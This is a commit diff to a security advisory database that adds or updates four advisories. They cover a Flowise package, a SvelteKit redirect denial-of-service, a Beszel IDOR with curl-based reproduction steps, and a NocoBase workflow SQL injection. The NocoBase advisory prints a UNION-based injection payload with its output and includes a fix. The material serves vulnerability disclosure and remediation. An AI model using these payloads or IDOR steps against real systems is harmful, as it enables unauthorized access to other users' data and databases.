Skip to content

Commit 0ad692d

Browse files
1 parent 57dab15 commit 0ad692d

4 files changed

Lines changed: 164 additions & 2 deletions

File tree

advisories/github-reviewed/2026/03/GHSA-fvcw-9w9r-pxc7/GHSA-fvcw-9w9r-pxc7.json

Lines changed: 23 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-fvcw-9w9r-pxc7",
4-
"modified": "2026-03-11T05:47:10Z",
4+
"modified": "2026-04-10T17:33:10Z",
55
"published": "2026-03-11T00:24:05Z",
66
"aliases": [
77
"CVE-2026-31829"
@@ -36,6 +36,28 @@
3636
"database_specific": {
3737
"last_known_affected_version_range": "<= 3.0.12"
3838
}
39+
},
40+
{
41+
"package": {
42+
"ecosystem": "npm",
43+
"name": "flowise-components"
44+
},
45+
"ranges": [
46+
{
47+
"type": "ECOSYSTEM",
48+
"events": [
49+
{
50+
"introduced": "0"
51+
},
52+
{
53+
"fixed": "3.0.13"
54+
}
55+
]
56+
}
57+
],
58+
"database_specific": {
59+
"last_known_affected_version_range": "<= 3.0.12"
60+
}
3961
}
4062
],
4163
"references": [
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-3f6h-2hrp-w5wx",
4+
"modified": "2026-04-10T17:32:00Z",
5+
"published": "2026-04-10T17:32:00Z",
6+
"aliases": [
7+
"CVE-2026-40074"
8+
],
9+
"summary": "@sveltejs/kit: Unvalidated redirect in handle hook causes Denial-of-Service",
10+
"details": "`redirect`, when called from inside the `handle` server hook with a location parameter containing characters that are invalid in a HTTP header, will cause an unhandled `TypeError`. This could result in DoS on some platforms, especially if the location passed to `redirect` contains unsanitized user input.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "@sveltejs/kit"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "2.57.1"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 2.57.0"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/sveltejs/kit/security/advisories/GHSA-3f6h-2hrp-w5wx"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/sveltejs/kit/commit/10d7b44425c3d9da642eecce373d0c6ef83b4fcd"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/sveltejs/kit"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/sveltejs/kit/releases/tag/%40sveltejs%2Fkit%402.57.1"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-755"
62+
],
63+
"severity": "MODERATE",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-04-10T17:32:00Z",
66+
"nvd_published_at": null
67+
}
68+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-5f5r-95pg-xrpm",
4+
"modified": "2026-04-10T17:32:05Z",
5+
"published": "2026-04-10T17:32:05Z",
6+
"aliases": [
7+
"CVE-2026-40077"
8+
],
9+
"summary": "Beszel has an IDOR in hub API endpoints that read system ID from URL parameter",
10+
"details": "## Summary\nSome API endpoints in the Beszel hub accept a user-supplied system ID and proceed without further checks that the user should have access to that system. As a result, any authenticated user can access these routes for any system if they know the system's ID.\n\nSystem IDs are random 15 character alphanumeric strings, and are not exposed to all users. However, it is theoretically possible for an authenticated user to enumerate a valid system ID via web API. To use the `containers` endpoints, the user would also need to enumerate a container ID, which is 12 digit hexadecimal string.\n\n## Affected Component\n\n- **File:** `internal/hub/api.go`, lines 283–361\n- **Endpoints:**\n - `GET /api/beszel/containers/logs?system=SYSTEM_ID&container=CONTAINER_ID`\n - `GET /api/beszel/containers/info?system=SYSTEM_ID&container=CONTAINER_ID`\n - `GET /api/beszel/systemd/info?system=SYSTEM_ID&service=SERVICE_NAME`\n - `POST /api/beszel/smart/refresh?system=SYSTEM_ID`\n- **Commit:** c7261b56f1bfb9ae57ef0856a0052cabb2fd3b84\n\n## Vulnerable Code\n\nThe `containerRequestHandler` function retrieves a system by ID but never verifies the authenticated user is a member of that system:\n\n```go\n// internal/hub/api.go:283-305\nfunc (h *Hub) containerRequestHandler(e *core.RequestEvent, fetchFunc func(*systems.System, string) (string, error), responseKey string) error {\n systemID := e.Request.URL.Query().Get(\"system\")\n containerID := e.Request.URL.Query().Get(\"container\")\n\n if systemID == \"\" || containerID == \"\" {\n return e.JSON(http.StatusBadRequest, map[string]string{\"error\": \"system and container parameters are required\"})\n }\n if !containerIDPattern.MatchString(containerID) {\n return e.JSON(http.StatusBadRequest, map[string]string{\"error\": \"invalid container parameter\"})\n }\n\n system, err := h.sm.GetSystem(systemID)\n // ^^^ No authorization check: e.Auth.Id is never verified against system.users\n if err != nil {\n return e.JSON(http.StatusNotFound, map[string]string{\"error\": \"system not found\"})\n }\n\n data, err := fetchFunc(system, containerID)\n if err != nil {\n return e.JSON(http.StatusNotFound, map[string]string{\"error\": err.Error()})\n }\n\n return e.JSON(http.StatusOK, map[string]string{responseKey: data})\n}\n```\n\nThe same pattern applies to `getSystemdInfo` (lines 322–340) and `refreshSmartData` (lines 342–361).\n\nMeanwhile, the standard PocketBase collection API enforces proper membership checks:\n\n```go\n// internal/hub/collections.go:56-57\nsystemsMemberRule := authenticatedRule + \" && users.id ?= @request.auth.id\"\nsystemMemberRule := authenticatedRule + \" && system.users.id ?= @request.auth.id\"\n```\n\nThese rules are only applied to the PocketBase collection endpoints, **not** to the custom routes registered on `apiAuth`.\n\n### PoC\n**The proof:** The standard PocketBase API returns `404` (system not found) for unassigned systems. The custom endpoints resolve the system, contact the agent, and return data — proving the authorization check is missing.\n\n#### Step 1: Start the hub\n\n```bash\ncd ~/Evidence/henrygd/beszel/finding418/docker-poc/\ndocker compose up -d\n```\n\nWait a few seconds, then verify:\n\n```bash\ncurl -s http://localhost:8090/api/health\n```\n\nExpected: `{\"message\":\"API is healthy.\",\"code\":200,\"data\":{}}`\n\n#### Step 2: Create User A (admin)\n\nOpen `http://localhost:8090` in a browser and create the first user:\n\n- Email: `usera@test.com`\n- Password: `testpassword1`\n\n#### Step 3: Create User B (readonly)\n\nIn the Beszel UI, go to Users and add a new user:\n\n- Email: `userb@test.com`\n- Password: `testpassword2`\n- Role: **readonly**\n\n#### Step 4: Authenticate as User A\n\n```bash\nTOKEN_A=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \\\n -H \"Content-Type: application/json\" \\\n -d '{\"identity\":\"usera@test.com\",\"password\":\"testpassword1\"}' \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['token'])\")\n\necho \"TOKEN_A=$TOKEN_A\"\n```\n\n#### Step 5: Get hub public key\n\n```bash\nHUB_KEY=$(curl -s http://localhost:8090/api/beszel/getkey \\\n -H \"Authorization: $TOKEN_A\" \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['key'])\")\n\necho \"HUB_KEY=$HUB_KEY\"\n```\n\n#### Step 6: Create a universal token and start the agent\n\n```bash\nUTOK_A=$(curl -s \"http://localhost:8090/api/beszel/universal-token?enable=1\" \\\n -H \"Authorization: $TOKEN_A\" \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['token'])\")\n\necho \"UTOK_A=$UTOK_A\"\n```\n\nFind the Docker network the hub is on:\n\n```bash\nNETWORK=$(docker inspect beszel-hub --format '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}')\necho \"Network: $NETWORK\"\n```\n\nStart the agent on the **same network** so the hub can reach it:\n\n```bash\ndocker run -d --name beszel-agent-a \\\n --network \"$NETWORK\" \\\n -e HUB_URL=http://beszel-hub:8090 \\\n -e TOKEN=\"$UTOK_A\" \\\n -e KEY=\"$HUB_KEY\" \\\n henrygd/beszel-agent:latest\n```\n\nWait a few seconds for the agent to register:\n\n```bash\nsleep 5\n```\n\n#### Step 7: Verify User A sees the system\n\n```bash\ncurl -s http://localhost:8090/api/collections/systems/records \\\n -H \"Authorization: $TOKEN_A\" | python3 -m json.tool\n```\n\nYou should see one system in `items`. Save the system ID:\n\n```bash\nSYSTEM_A_ID=$(curl -s http://localhost:8090/api/collections/systems/records \\\n -H \"Authorization: $TOKEN_A\" \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['items'][0]['id'])\")\n\necho \"SYSTEM_A_ID=$SYSTEM_A_ID\"\n```\n\n#### Step 8: Authenticate as User B (readonly)\n\n```bash\nTOKEN_B=$(curl -s http://localhost:8090/api/collections/users/auth-with-password \\\n -H \"Content-Type: application/json\" \\\n -d '{\"identity\":\"userb@test.com\",\"password\":\"testpassword2\"}' \\\n | python3 -c \"import sys,json; print(json.load(sys.stdin)['token'])\")\n\necho \"TOKEN_B=$TOKEN_B\"\n```\n\nVerify User B sees NO systems:\n\n```bash\ncurl -s http://localhost:8090/api/collections/systems/records \\\n -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\nExpected: `\"totalItems\": 0`\n\n#### Step 9: Control test — standard API blocks User B\n\n```bash\necho \"=== Standard PocketBase API ===\"\ncurl -s -w \"\\nHTTP Status: %{http_code}\\n\" \\\n \"http://localhost:8090/api/collections/systems/records/$SYSTEM_A_ID\" \\\n -H \"Authorization: $TOKEN_B\"\n```\n\nExpected: **404** — RBAC correctly hides the system from User B.\n\n#### Step 10: IDOR — SMART refresh (User B triggers action on User A's system)\n\n```bash\necho \"=== IDOR: POST /api/beszel/smart/refresh ===\"\ncurl -s \"http://localhost:8090/api/beszel/smart/refresh?system=$SYSTEM_A_ID\" \\\n -X POST -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\nExpected: The hub processes the request and contacts the agent. Any response (data or agent error) proves the IDOR — compare with the 404 from Step 9.\n\n#### Step 11: IDOR — Systemd info (User B reads from User A's system)\n\n```bash\necho \"=== IDOR: GET /api/beszel/systemd/info ===\"\ncurl -s \"http://localhost:8090/api/beszel/systemd/info?system=$SYSTEM_A_ID&service=sshd\" \\\n -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\nExpected: Hub contacts the agent and returns systemd data or an agent-level error.\n\n#### Step 12: IDOR — Container logs (User B reads from User A's system)\n\nContainer endpoints require a Docker container ID (12-64 hex chars). Get a real one from the agent's host:\n\n```bash\n# Get a real container ID from Docker (first 12 hex chars)\nCONTAINER_ID=$(docker ps --format '{{.ID}}' | head -1)\necho \"CONTAINER_ID=$CONTAINER_ID\"\n\necho \"=== IDOR: GET /api/beszel/containers/logs ===\"\ncurl -s \"http://localhost:8090/api/beszel/containers/logs?system=$SYSTEM_A_ID&container=$CONTAINER_ID\" \\\n -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\n#### Step 13: IDOR — Container info (User B reads from User A's system)\n\n```bash\necho \"=== IDOR: GET /api/beszel/containers/info ===\"\ncurl -s \"http://localhost:8090/api/beszel/containers/info?system=$SYSTEM_A_ID&container=$CONTAINER_ID\" \\\n -H \"Authorization: $TOKEN_B\" | python3 -m json.tool\n```\n\n### Impact\n\n- **Container logs**: Content of recent application logs, potentially including sensitive information\n- **Container info**: Content of Docker engine API's `/containers/{id}/json` endpoint, excluding environment variables\n- **Systemd info**: Unit properties and status for any monitored service\n- **SMART refresh**: Trigger a SMART data update on any system",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:N/A:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/henrygd/beszel"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.18.7"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.18.6"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/henrygd/beszel/security/advisories/GHSA-5f5r-95pg-xrpm"
45+
},
46+
{
47+
"type": "ADVISORY",
48+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40077"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/henrygd/beszel"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/henrygd/beszel/releases/tag/v0.18.7"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-184"
62+
],
63+
"severity": "LOW",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-04-10T17:32:05Z",
66+
"nvd_published_at": "2026-04-09T20:16:27Z"
67+
}
68+
}

advisories/github-reviewed/2026/04/GHSA-vx58-fwwq-5g8j/GHSA-vx58-fwwq-5g8j.json

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-vx58-fwwq-5g8j",
4-
"modified": "2026-04-06T17:32:57Z",
4+
"modified": "2026-04-10T17:32:48Z",
55
"published": "2026-04-01T23:44:37Z",
66
"aliases": [
77
"CVE-2026-34825"
88
],
99
"summary": "NocoBase Has SQL Injection via template variable substitution in workflow SQL node",
1010
"details": "## Summary\n\nNocoBase <= 2.0.8 `plugin-workflow-sql` substitutes template variables directly into raw SQL strings via `getParsedValue()` without parameterization or escaping. Any user who triggers a workflow containing a SQL node with template variables from user-controlled data can inject arbitrary SQL.\n\n## Affected Versions\n\n- Affected: all versions through 2.0.8\n\n## Details\n\nThe `SQLInstruction` in `packages/plugins/@nocobase/plugin-workflow-sql/src/server/SQLInstruction.ts` line 28 processes SQL templates:\n\n```typescript\n// SQLInstruction.ts:28\nconst sql = processor.getParsedValue(node.config.sql || '', node.id).trim();\n```\n\nThen executes the resulting string directly:\n\n```typescript\n// SQLInstruction.ts:35\nconst [result] = await collectionManager.db.sequelize.query(sql, {\n transaction: this.workflow.useDataSourceTransaction(dataSourceName, processor.transaction),\n});\n```\n\n`getParsedValue()` performs simple string substitution of `{{$context.data.fieldName}}` placeholders with values from the workflow trigger data. No escaping, quoting, or parameterized binding is applied.\n\nWhen an admin creates a SQL node with a template like:\n```sql\nSELECT * FROM users WHERE nickname = '{{$context.data.nickname}}'\n```\n\nAny user who triggers the workflow with a crafted value can break out of the string literal and inject arbitrary SQL.\n\n## Proof of Concept\n\n1. Login as admin\n2. Create a collection-trigger workflow on the `users` table (mode: after create)\n3. Add a SQL node with:\n```sql\nSELECT id, nickname, email FROM users WHERE nickname = '{{$context.data.nickname}}'\n```\n4. Enable the workflow\n5. Create a user with nickname set to: `' UNION SELECT 1,version(),current_user --`\n6. Check execution result:\n\n```json\n[\n {\n \"id\": 1,\n \"nickname\": \"PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on x86_64-pc-linux-gnu...\",\n \"email\": \"nocobase\"\n }\n]\n```\n\nThe injected UNION SELECT returned the database version and current database user.\n\n## Impact\n\nFull database read/write access through SQL injection. An attacker who can trigger a workflow with a SQL node containing template variables from user-controlled data can extract credentials, modify records, or drop tables. The severity depends on the database user's privileges (full superuser access in the default Docker deployment).\n\n## Suggested Fix\n\nUse parameterized queries. Replace direct string substitution with Sequelize bind parameters:\n\n```diff\n// SQLInstruction.ts\n- const sql = processor.getParsedValue(node.config.sql || '', node.id).trim();\n+ const { sql, bind } = processor.getParsedValueAsParams(node.config.sql || '', node.id);\n const [result] = await collectionManager.db.sequelize.query(sql, {\n+ bind,\n transaction: ...\n });\n```",
1111
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N"
15+
},
1216
{
1317
"type": "CVSS_V4",
1418
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"

0 commit comments

Comments
 (0)